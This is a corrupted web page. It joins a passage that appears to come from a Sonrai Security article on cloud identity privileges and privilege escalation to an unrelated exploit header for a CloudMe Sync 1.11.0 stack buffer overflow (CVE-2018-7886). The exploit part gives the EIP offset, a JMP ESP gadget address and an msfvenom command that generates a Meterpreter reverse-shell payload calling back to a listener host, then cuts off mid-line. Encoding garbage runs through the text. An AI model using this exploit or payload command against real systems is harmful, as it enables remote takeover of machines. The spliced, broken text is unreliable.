The nature of the cloud exacerbates a lot of the risks we have seen in on-premises environments-including, in particular, privilege escalations and lateral movement.Īt Sonrai Security, we recently discovered that approximately 10% of enterprise-cloud identities have full administrative permissions-enough to completely compromise an organization’s cloud environment. From there, the attacker can potentially gain access to sensitive data or deliver a malicious payload.īut in the cloud-centric world, identities are the new perimeter- and they are proliferating, increasing the scale of identity risks. In a traditional on-premises environment with a defined perimeter, an attacker using a compromised account will often exploit bugs or misconfigurations to give that account more privileges than it is entitled to. And, as a result of the growing adoption of cloud environments, the ways in which security teams protect critical infrastructure and data have fundamentally changed.Ĭonsider that privileges define what a user or administrator can do or access within a system or application. # Title: CloudMe Sync 1.11.0 - Local Stack-based Buffer Overflow (Powershell) # Author: Uday Mittal () # Vendor Homepage: # Software Link: # Version v1.11.0 # Tested on: Windows 10 # CVE: CVE-2018-7886 (Prasenjit Kanti Paul) # EIP Over-written by: 316A4230 at 1052 (msf-pattern_offset -l 15000 -q 316A4230) # JMP ESP # Address=699A0159 Message= 0圆99a0159 : push esp # ret 0x04 | ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.9.0.0 (C:\Users\ptlabmachine\AppData\Local\Programs\CloudMe\CloudMe\Qt5Network.dll) #shellcode command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.170 LPORT=4444 -b \x00\x0a -f powershell $tcpClient = New-Object $tcpClient.
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